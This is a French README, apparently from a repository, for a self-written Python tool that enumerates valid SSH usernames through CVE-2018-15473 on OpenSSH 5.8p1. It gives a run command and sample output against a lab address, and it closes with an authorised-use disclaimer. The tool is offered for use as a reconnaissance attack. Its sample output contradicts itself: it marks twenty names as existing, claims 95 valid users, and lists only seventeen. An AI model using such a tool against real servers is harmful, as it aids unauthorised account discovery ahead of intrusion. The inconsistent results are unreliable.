CVE-2018-15473 – Énumération des noms d'utilisateur SSH

Un outil Python développé par mes soins pour identifier les noms d'utilisateur SSH valides en exploitant CVE-2018-15473.

Informations sur la cible

Service : SSH
Version : OpenSSH 5.8p1 Debian 1ubuntu3
Système d'exploitation : Ubuntu Linux
Protocole : SSH-2.0
Évaluation : Testé pour CVE-2018-15473 (énumération des noms d'utilisateur SSH)

Langage

Python 3

Fonctionnalités

Développé en Python 3.
Énumère les noms d'utilisateur SSH valides en exploitant CVE-2018-15473.
Prend en charge les listes personnalisées de noms d'utilisateur.
Affiche en temps réel les noms d'utilisateur découverts.
Fournit un récapitulatif de tous les noms d'utilisateur valides à la fin de l'analyse.
Léger et facile à utiliser.

Utilisation

python3 enum_ssh.py usernames.txt

Où usernames.txt contient la liste des noms d'utilisateur à tester.

Exemple de sortie

[parrot@parrot]-[~]
$ python3 enum_ssh.py usernames.txt

[*] Starting CVE-2018-15473 enumeration against 10.10.10.100:22
[*] Using wordlist: usernames.txt

[+] [EXISTS] -> root
[+] [EXISTS] -> admin
[+] [EXISTS] -> administrator
[+] [EXISTS] -> user
[+] [EXISTS] -> test
[+] [EXISTS] -> guest
[+] [EXISTS] -> demo
[+] [EXISTS] -> operator
[+] [EXISTS] -> sysadmin
[+] [EXISTS] -> security
[+] [EXISTS] -> netadmin
[+] [EXISTS] -> webmaster
[+] [EXISTS] -> support
[+] [EXISTS] -> service
[+] [EXISTS] -> ubuntu
[+] [EXISTS] -> debian
[+] [EXISTS] -> centos
[+] [EXISTS] -> fedora
[+] [EXISTS] -> kali
[+] [EXISTS] -> parrot

========================================
[*] Scan complete.
[*] Found 95 valid user(s):

    - root
    - admin
    - administrator
    - user
    - test
    - guest
    - demo
    - operator
    - sysadmin
    - security
    - netadmin
    - webmaster
    - support
    - service
    - ubuntu
    - debian
    - centos

========================================

Avertissement

Cet outil est destiné à des fins éducatives et uniquement aux tests de sécurité autorisés. Ne l'utilisez que sur des systèmes pour lesquels vous disposez d'une autorisation explicite.

CVE-2018-15473-User-Enumeration-

Populaires